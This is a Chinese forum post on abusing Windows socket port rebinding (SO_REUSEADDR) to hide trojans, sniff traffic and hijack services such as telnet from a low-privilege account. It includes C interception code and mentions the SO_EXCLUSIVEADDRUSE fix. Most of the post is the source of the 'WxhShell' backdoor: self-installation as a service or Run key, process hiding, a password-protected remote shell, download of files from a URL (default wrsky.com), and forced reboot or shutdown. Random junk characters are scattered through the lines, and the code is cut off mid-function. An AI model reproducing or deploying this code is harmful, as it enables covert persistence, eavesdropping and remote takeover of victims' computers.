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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .-:R mYGR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S"Q$ Ol"  
&UWSf  
  saddr.sin_family = AF_INET; )eFq0+6*)  
a*8^M\>m4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p^LUyLG`  
XOM@Pi#z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n{~W s^d  
Y^?J3[@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }tIIA"dZ  
@jE<V=?  
  这意味着什么?意味着可以进行如下的攻击: RyGce' q  
ya9V+/i7T_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |!\(eLR9>  
<*Kj7o{Qn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wec |~Rc-  
8bB'[gJ]{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J% B(4`  
7[l "=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Dl3Df u8  
~6nq$(#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]i=\5FH e  
kpkN GQ2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mn=G6h T}W  
(+Yerc.NQt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jmln*,Ol7  
h5bQ  
  #include /^E2BRI  
  #include \pzqUTk  
  #include K4vl#*qn  
  #include    O;qerE?i`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X9f!F2x  
  int main() Q<y&*o3YF|  
  { eeuTf  
  WORD wVersionRequested; %#rH~E  
  DWORD ret; /=x) 9J  
  WSADATA wsaData; +3 2"vq)_  
  BOOL val; Og`6>?>97  
  SOCKADDR_IN saddr; zL @ZNH  
  SOCKADDR_IN scaddr; pZ/aZg1Ld  
  int err; S-"&#OfWg<  
  SOCKET s; +_8*;k@F'  
  SOCKET sc; bP`.teO\  
  int caddsize; <Gy)|qpK[  
  HANDLE mt; 0R,?$qM\  
  DWORD tid;   VP$`.y  
  wVersionRequested = MAKEWORD( 2, 2 ); 'm@0[i  
  err = WSAStartup( wVersionRequested, &wsaData ); "28b&pm  
  if ( err != 0 ) { d#N<t`  
  printf("error!WSAStartup failed!\n"); bBkF,`/f$  
  return -1; :[iWl8  
  } "lo:"y(u  
  saddr.sin_family = AF_INET; h Znq\p~  
   hsVf/%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g/b_\__A  
@)>9l&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m<>3GF,5bP  
  saddr.sin_port = htons(23); 2 $^n@<uZ@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s%nx8"   
  { 8_MR7'C1hi  
  printf("error!socket failed!\n"); ~+{OSx<S  
  return -1; (u81p  
  } 'AX/?Srd  
  val = TRUE; -hf)%o$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !"2nL%PW~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5-Vdq  
  { ?Sj3-*/?  
  printf("error!setsockopt failed!\n"); SU.T0>w  
  return -1; Si#b"ls'  
  } (~P b,Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |?CR|xqT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zg!;g`Z@S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TOo0rcl  
Kb~s'cTxIO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m}] bP  
  { @Y'BqDFlZ  
  ret=GetLastError(); LL+ROX^M  
  printf("error!bind failed!\n"); >A#wvQl7   
  return -1; u/e-m/  
  } [XWY-q#Gg  
  listen(s,2); (&4aebkZO  
  while(1) Lrgv:n  
  { PsTPGK#S  
  caddsize = sizeof(scaddr); `1F[.DdF  
  //接受连接请求 >&mlwxqv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cB U,!  
  if(sc!=INVALID_SOCKET) iN0gvjZ  
  { ]Cpd`}'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MP\$_;&xB  
  if(mt==NULL) I"4j152P|  
  { " d3pkY  
  printf("Thread Creat Failed!\n"); |:SBkM,  
  break; 1;<J] S$$  
  } T8 k@DS  
  } 2]n"7Z8(v8  
  CloseHandle(mt); GwHMXtj4  
  } $d M: 5y  
  closesocket(s); [vkz<sL"  
  WSACleanup(); M7 &u_Cn?  
  return 0; E~5r8gM,0  
  }   .L[WvAo  
  DWORD WINAPI ClientThread(LPVOID lpParam) F i?2sa  
  { L-\-wXg%  
  SOCKET ss = (SOCKET)lpParam; 0x!XE|7I  
  SOCKET sc; Yhl {'  
  unsigned char buf[4096]; 3Xgf=yG:M  
  SOCKADDR_IN saddr; ?y82S*sb#  
  long num; PDaHY  
  DWORD val; eOa:%{Kj  
  DWORD ret; :B?XNo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oR>o/$z$)g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;/#E!Ja/ u  
  saddr.sin_family = AF_INET; nj99!"_   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @O#4duM4Qz  
  saddr.sin_port = htons(23); CZ*c["x2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :1"{0 gm  
  { h% BA,C  
  printf("error!socket failed!\n"); ;hi+.ng_  
  return -1; #/zPAcV:  
  }  &o$E1;og  
  val = 100; euO!+9p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %pmowo~{  
  { 5inmFT?9Z  
  ret = GetLastError(); Q.H y"~  
  return -1; nYG$V)iCb  
  } dg/OjiD[P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Y5Q>2D}  
  { B RF=TL5Z  
  ret = GetLastError(); ',k0 _n?t  
  return -1; K*Y.mM)  
  } :nYl]Rm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #W,BUN}  
  { _sIhQ8$:  
  printf("error!socket connect failed!\n"); B`)o?GcVN  
  closesocket(sc); }18}VjC!  
  closesocket(ss); K 0RY2Hiw  
  return -1; .a\b_[+W  
  } 09<O b[%h  
  while(1) Ql sMMIax  
  { xg %EQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M7BCBA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `2\vDy1,j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kxt@t#  
  num = recv(ss,buf,4096,0); 9,=3D2x&  
  if(num>0) Y<M,/Y_ !  
  send(sc,buf,num,0); qy=4zOOD#  
  else if(num==0) hD!W&Er  
  break; U^SJWYi<Y  
  num = recv(sc,buf,4096,0); _hyboQi  
  if(num>0) {s!DRc]ln  
  send(ss,buf,num,0); ZKTOif}  
  else if(num==0) UA$ XjP  
  break; So?SBh1C  
  } #4"(M9kf  
  closesocket(ss); N%!8I  
  closesocket(sc); w!o[pvyR$  
  return 0 ; PeGL Rbx34  
  } p%~#~5t,  
s@sRdoTdF  
r=6-kC!T9  
========================================================== TB 9{e!4  
T8E=}!68w}  
下边附上一个代码,,WXhSHELL /,dcr*  
YG ,  
========================================================== T6MlKcw,t  
ocBfs^ aW  
#include "stdafx.h" MIvAugUOl  
BYuF$[3ya&  
#include <stdio.h> r4/G&m[V  
#include <string.h> p x1y#Q  
#include <windows.h> 3/V&PDC*'  
#include <winsock2.h> .w3.zZ0[  
#include <winsvc.h> n;8[WR)  
#include <urlmon.h> -C]RFlV  
OcQ>01Q  
#pragma comment (lib, "Ws2_32.lib") d:*,HzG  
#pragma comment (lib, "urlmon.lib") ^lhV\YxJ  
j*@^O`^v  
#define MAX_USER   100 // 最大客户端连接数 -L@4da[]i  
#define BUF_SOCK   200 // sock buffer Xdj` $/RI  
#define KEY_BUFF   255 // 输入 buffer >2tQ')%DJ  
'"&M4.J{  
#define REBOOT     0   // 重启 qeLfO  
#define SHUTDOWN   1   // 关机 x!GHUz*:uz  
(hej 3;W  
#define DEF_PORT   5000 // 监听端口 r'xZF~}k"~  
QP f*!E  
#define REG_LEN     16   // 注册表键长度 xo2PxUO  
#define SVC_LEN     80   // NT服务名长度 heJI5t,  
 nN1\  
// 从dll定义API Yy`\??,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gV@FT|j!i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); - &u]B$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mne4uW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a;JB8  
(A(7?eq  
// wxhshell配置信息 p>Dv&fX  
struct WSCFG {  gSQq  
  int ws_port;         // 监听端口 6Mu_9UAl`  
  char ws_passstr[REG_LEN]; // 口令 :N$^x /{  
  int ws_autoins;       // 安装标记, 1=yes 0=no vgY ) L  
  char ws_regname[REG_LEN]; // 注册表键名 <uZ r.X  
  char ws_svcname[REG_LEN]; // 服务名 vw VeHjR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @\0U`*]^)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0 `%eP5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \M0-$&[+Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P34UD:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 21'I-j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tE3#Uq  
[.Vy  
}; Z5 iP1/&D  
|O3wAxc3W  
// default Wxhshell configuration 9jq}`$S{  
struct WSCFG wscfg={DEF_PORT, +bpUb0.W  
    "xuhuanlingzhe", D/QSC]"  
    1, G"P@AOw  
    "Wxhshell", <[mT*  
    "Wxhshell", ZDEz&{3U;  
            "WxhShell Service", |#9Nu9ak  
    "Wrsky Windows CmdShell Service", ?O3E.!Q|  
    "Please Input Your Password: ", SQ%B"1&$D  
  1, FOJ-?s(  
  "http://www.wrsky.com/wxhshell.exe", 8,iBG! RF  
  "Wxhshell.exe" pu#h:nb>88  
    }; o2M+=O@  
K8[vJ7(!|  
// 消息定义模块 }ie  O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @@~OA>^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "Bl ]_YPv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /)RyRS8c  
char *msg_ws_ext="\n\rExit."; ILi{5L  
char *msg_ws_end="\n\rQuit."; ,z<J`n  
char *msg_ws_boot="\n\rReboot..."; y4sKe:@2  
char *msg_ws_poff="\n\rShutdown..."; x!5b" "  
char *msg_ws_down="\n\rSave to "; ; kPx@C   
SOE 5`  
char *msg_ws_err="\n\rErr!"; 5cj]Y)I-~  
char *msg_ws_ok="\n\rOK!"; B(tLV9B3Q  
C \"nlNKw  
char ExeFile[MAX_PATH]; )F _vWbg  
int nUser = 0; WUOoK$I~K  
HANDLE handles[MAX_USER]; A^lJlr:_`  
int OsIsNt; .*FBr7rE\  
8<V6W F`e  
SERVICE_STATUS       serviceStatus; L#U-d zy\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UuXq+HYR  
P?|F+RoX$  
// 函数声明 Jr|"QRC  
int Install(void); ~,#zdm1r@  
int Uninstall(void); l0Rjq*5hJ  
int DownloadFile(char *sURL, SOCKET wsh); 9*s''=  
int Boot(int flag); a)L\+$@*  
void HideProc(void); !O|d,)$q  
int GetOsVer(void); Cj{+DXT  
int Wxhshell(SOCKET wsl); k;EG28   
void TalkWithClient(void *cs); 2@7f^be  
int CmdShell(SOCKET sock); O7<--  
int StartFromService(void); vG E;PwR  
int StartWxhshell(LPSTR lpCmdLine); r 0m A  
m~7[fgN2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MU_8bK9m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i'XW)n  
N RB>X  
// 数据结构和表定义 _8zZ.~)  
SERVICE_TABLE_ENTRY DispatchTable[] = HJ5 Ktt  
{ WFHS8SI  
{wscfg.ws_svcname, NTServiceMain}, 7 2Zp%a=  
{NULL, NULL} 'v|R' wi\  
}; [[vu#'bc  
w4:|Z@I  
// 自我安装 cf\PG&S  
int Install(void) Ltk'`  
{ m .:2G  
  char svExeFile[MAX_PATH]; SNLZU%jan  
  HKEY key; .kbo]P  
  strcpy(svExeFile,ExeFile); k&JB,d-mJ%  
&P2tzY'  
// 如果是win9x系统,修改注册表设为自启动 B!PT|  
if(!OsIsNt) { SynL%Y9)|,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A(Tqf.,G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;i;2cq  
  RegCloseKey(key); |ZJ<J)y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tccw0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v w.rkAGY  
  RegCloseKey(key); FCr^D$_w  
  return 0; 2Ra}&ie  
    } HACY  
  } *8I+D>x  
} ~ShoU m[  
else { hq[:U?!Tt  
to2#PXf]y  
// 如果是NT以上系统,安装为系统服务 'R-Ly^:Qd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?cyBF*o  
if (schSCManager!=0) vHydqFi9  
{ h)NZG6R  
  SC_HANDLE schService = CreateService BB$(0mM^  
  ( 4+tKg*|  
  schSCManager, HpXQ D;  
  wscfg.ws_svcname, ^X?D4a|;#g  
  wscfg.ws_svcdisp, uT Z#85L `  
  SERVICE_ALL_ACCESS, _VjfjA<c8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *A^`[_y  
  SERVICE_AUTO_START, yG v7^d  
  SERVICE_ERROR_NORMAL, 5YV3pFz$)  
  svExeFile, Q<c{$o  
  NULL, SlaHhq3  
  NULL, pYRqV  
  NULL, `d,v  
  NULL, -22]|$f  
  NULL W{El^')F  
  ); ^Rpy5/d  
  if (schService!=0) q HU}EEv  
  { w=;Jj7}L  
  CloseServiceHandle(schService); %&Fsk]T%:  
  CloseServiceHandle(schSCManager); }EMds3<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R(^2+mV?  
  strcat(svExeFile,wscfg.ws_svcname); 7A,lQh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xs}3=&c(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _o+z#Fnz  
  RegCloseKey(key); B=<Z@u  
  return 0; hf`5NcnP  
    } VG=mA4Dd  
  }  /N8>>g  
  CloseServiceHandle(schSCManager); .#OD=wkN0  
} 2 -C*RHRx  
} 4Ou5Vp&y  
QjIn0MJ)Xm  
return 1; @CB&*VoB  
} S|K#lL  
dSP~R  
// 自我卸载 K*/X{3J;  
int Uninstall(void) c/'Cju W  
{ + g*s%^(E  
  HKEY key; <Pnz$nH:e  
Sb|9U8h  
if(!OsIsNt) { >WZ_) `R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $sxm MP  
  RegDeleteValue(key,wscfg.ws_regname); [Yyb)Qf  
  RegCloseKey(key); vVy X[ZZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x & ZW f?  
  RegDeleteValue(key,wscfg.ws_regname); 0XzrzT"&  
  RegCloseKey(key); AE@N:a  
  return 0; ll^#I/  
  } 6rll0c~  
} />dH\KvN  
} \i.Yhl:O  
else { HZl//Uq  
-Pt']07E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JVe!(L4H  
if (schSCManager!=0) bd;?oYV~  
{ FhFP M)[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DkA@KS1Dq  
  if (schService!=0) ,7/F?!G!J  
  { wfMtWXd;KB  
  if(DeleteService(schService)!=0) { ]n 'FD|  
  CloseServiceHandle(schService); X4$86  
  CloseServiceHandle(schSCManager); 1 k\~%  
  return 0; uLq%Nu  
  } S2\|bs7;J,  
  CloseServiceHandle(schService); %2ZWSQD  
  } [dIlt"2fV  
  CloseServiceHandle(schSCManager); @s % !R  
}  N3m~nEj  
} it)!-[:bm  
)KbzgmLr  
return 1; 3$n O@rOS  
} aWk1D.  
>"|"Gy (  
// 从指定url下载文件 ^fqco9^;  
int DownloadFile(char *sURL, SOCKET wsh) y{#9&ct&  
{ \\(3gB.Gd  
  HRESULT hr; B.Y8O^rx  
char seps[]= "/"; sMDHg  
char *token; _0Z8V[  
char *file; [9H986=  
char myURL[MAX_PATH]; d8Sr,t+  
char myFILE[MAX_PATH]; y3Q2d7G  
#HyE-|_C  
strcpy(myURL,sURL); ;Ob`B@!=b  
  token=strtok(myURL,seps); qZB}}pM#  
  while(token!=NULL) grZ?F~P8  
  { f2]O5rX p  
    file=token; +'ADN!(B_  
  token=strtok(NULL,seps); D=_FrEM_IA  
  } ^77X?nDz=h  
)+dd  
GetCurrentDirectory(MAX_PATH,myFILE); u d$*/ )/  
strcat(myFILE, "\\"); LEJn 1  
strcat(myFILE, file); O <#H5/Tq  
  send(wsh,myFILE,strlen(myFILE),0); 8h$f6JE  
send(wsh,"...",3,0); /s[D[:P_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1MYA/l$  
  if(hr==S_OK) TO]7%aB  
return 0; 9~|hGo  
else F- l!i/  
return 1; =67tQx58  
E,gpi  
} Bxf]Lu,\U@  
v[!ZRwk4w3  
// 系统电源模块 #Nv)SCc  
int Boot(int flag) 'FC#O%l  
{ }~+_|  
  HANDLE hToken; 7T/hmVi_  
  TOKEN_PRIVILEGES tkp; +2Wijrn  
H^J waF  
  if(OsIsNt) { -;RW)n^n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %"=qdBuk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?>T (  
    tkp.PrivilegeCount = 1; 17) `CM$<[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P0O=veCf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9^2l<4^Z  
if(flag==REBOOT) { ]MaD7q>+R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /=+Bc=<lZ  
  return 0; ~0T,_N  
} $(N+E,XB  
else { wdLlQD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cIB[D.  
  return 0; -esq]c%3  
} D]*<J"/]d  
  } q 7aH=dhw  
  else { m5kt O^EU  
if(flag==REBOOT) { K['Gp>l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +I[Hxf~  
  return 0; 5 K[MKfT  
} ]`T*}$|  
else { 5o2vj8::  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |N+uEiJ  
  return 0; WP ~]pduT  
} _2wH4^Vb  
} "iPX>{'En  
r~Vb*~U"  
return 1; b X'.hHR  
} "[Hn G(gA  
x2.YEuSMC  
// win9x进程隐藏模块 z3C@0v=u>  
void HideProc(void) }e8u p*#me  
{ l<dtc[  
]h 4r@L3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =b/:rSd$NA  
  if ( hKernel != NULL ) y25L`b  
  { -;W`0 k^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {/Qg4pc!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rpou.RrXR7  
    FreeLibrary(hKernel); 8%#pv}  
  } ]>H'CM4JR  
[*W l=  
return; OTV$8{  
} I*OJPFZ^4  
QNxY`  
// 获取操作系统版本  Mcm%G#  
int GetOsVer(void) L)-1( e<x  
{ TV[@!E a  
  OSVERSIONINFO winfo; H?$gHZPI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (GB*+@  
  GetVersionEx(&winfo); :7 OhplI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rt3/dw(p  
  return 1; "C'T>^qw*  
  else u3])_oj=  
  return 0; ~=i<O&nai  
} jPA^SxM  
"fZWAGDBO\  
// 客户端句柄模块 `R@b`3*%v  
int Wxhshell(SOCKET wsl) aZB$%#'vR  
{ o@ W:PmKW  
  SOCKET wsh; ^rssZQKY[  
  struct sockaddr_in client; ,!Q^"aOT:  
  DWORD myID; j@C*kj;-  
b5t:" >wC  
  while(nUser<MAX_USER) Z?j4WJy-[  
{ &p_V<\(%  
  int nSize=sizeof(client); `ZZq Sc4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0.lOSAq  
  if(wsh==INVALID_SOCKET) return 1; PsCr[\Ul  
AroYDR,3+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |Wz`#<t  
if(handles[nUser]==0) CaqqH`/E4  
  closesocket(wsh); /& wA$h  
else /@feY?glc  
  nUser++; &)GlLpaT  
  } P)rz%,VF+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _t.Ub:  
M~LYq  
  return 0; (c|Ry[$|  
} =L9;8THY  
Wj"GS!5  
// 关闭 socket wLOS , =  
void CloseIt(SOCKET wsh) 09sdt;V Q  
{ W'}^m*F  
closesocket(wsh); $i;_yTht  
nUser--; x A"V!8C  
ExitThread(0); )Oix$B!-  
} D9;s%  
 LAO2Py#  
// 客户端请求句柄 GjeRp|_Qd<  
void TalkWithClient(void *cs) VK3e(7 b  
{ Yu_` >so  
rO7[{<97m  
  SOCKET wsh=(SOCKET)cs; (ioJ G-2u  
  char pwd[SVC_LEN]; _ m<@ou7  
  char cmd[KEY_BUFF]; <nbc RO.  
char chr[1]; Dx>~^ ^<  
int i,j; *28:|blbL  
[E6ZmMB&  
  while (nUser < MAX_USER) { A`ScAzx5{  
#5=!ew  
if(wscfg.ws_passstr) { WN3]xw3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DxJY{e9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0p[-M`D  
  //ZeroMemory(pwd,KEY_BUFF); 4)+L(KyB2  
      i=0; !B:wzb_  
  while(i<SVC_LEN) { +MvO+\/  
H-5h-p k  
  // 设置超时 F|^tRL-  
  fd_set FdRead; #S') i1 ;  
  struct timeval TimeOut; 8;Eg>_cL:  
  FD_ZERO(&FdRead); b2G1@f.U  
  FD_SET(wsh,&FdRead); y.+!+4Mg|  
  TimeOut.tv_sec=8; Tv /?-`Y  
  TimeOut.tv_usec=0; 8Q\ T,C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K\y W{y1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IXof- I%8  
@lTd,V5f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j V~+=(w)  
  pwd=chr[0]; bm#/ KT_8  
  if(chr[0]==0xd || chr[0]==0xa) { Yrmd hSY  
  pwd=0; PIZK*Lop  
  break; KAR **Mp+  
  } #s3R4@{  
  i++; JYO("f  
    } A? T25<}  
v/~Lfi  
  // 如果是非法用户,关闭 socket FN"Ye*d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Z1 <lAy  
} *rv7#!].  
MoMxKmI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WI\jm&H r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $[{YE[a  
7Kn}KO!Y8  
while(1) { uE-|]QQo  
~U<=SyZYo  
  ZeroMemory(cmd,KEY_BUFF); WIYWql>*  
dj5@9X  
      // 自动支持客户端 telnet标准   Twq,6X-  
  j=0; `!lQd}W  
  while(j<KEY_BUFF) {  RR[1mM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +~za6  
  cmd[j]=chr[0]; yL"UBe}v  
  if(chr[0]==0xa || chr[0]==0xd) { !A'3Mw\Nm  
  cmd[j]=0; ;kR+jC(  
  break; pz,iQUs _o  
  } ?C*}NM  
  j++;  wjfc9z  
    } VX]Ud\(  
-E>LB\[t)  
  // 下载文件 v9XevLs  
  if(strstr(cmd,"http://")) { OXD*ZKi8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VJOB+CKE  
  if(DownloadFile(cmd,wsh)) Y20T$5{#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }-T :   
  else CC|=$(PgT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IZOO>-g'f  
  } *:8,w?Nt  
  else {  LXf *  
~w"e 2a  
    switch(cmd[0]) { +r$M 9  
  2*TPW  
  // 帮助 nZ8jBCh  
  case '?': { ]7J*(,sp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /A1qTG=Br  
    break; cd]def[d  
  } Fr)6<9%xVm  
  // 安装 ^|ul3_'?  
  case 'i': { W #V`|JA  
    if(Install()) CM4#Nn=i~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UYvdzCUh  
    else wH]Y1 m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q(/F7 "m  
    break; @|d+T"f  
    } PXo^SHJ+gt  
  // 卸载 uL |O<  
  case 'r': { 8om)A0S  
    if(Uninstall()) k@^T<Ci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :aWC6"ik-W  
    else 3.w &e0Es  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A75z/O{  
    break; *_/n$& I%&  
    } F~wqt7*  
  // 显示 wxhshell 所在路径 ,nSapmg  
  case 'p': { y4Lh:;  
    char svExeFile[MAX_PATH]; 2!? =I'uMA  
    strcpy(svExeFile,"\n\r"); ]+d> ;$O  
      strcat(svExeFile,ExeFile); 1R"Z+tNB  
        send(wsh,svExeFile,strlen(svExeFile),0); (\H^ KEy  
    break;  wkKSL  
    } 51Q~/  
  // 重启 vBYk"a6SD  
  case 'b': { #BwOWra  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j W/*-:  
    if(Boot(REBOOT)) ->`R[k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ];*? `}#  
    else { W4$F\y  
    closesocket(wsh); %6E:SI 4  
    ExitThread(0); gp NAM"  
    } iHlee=}od  
    break; <8BNqbX  
    } <F ?UdMT4y  
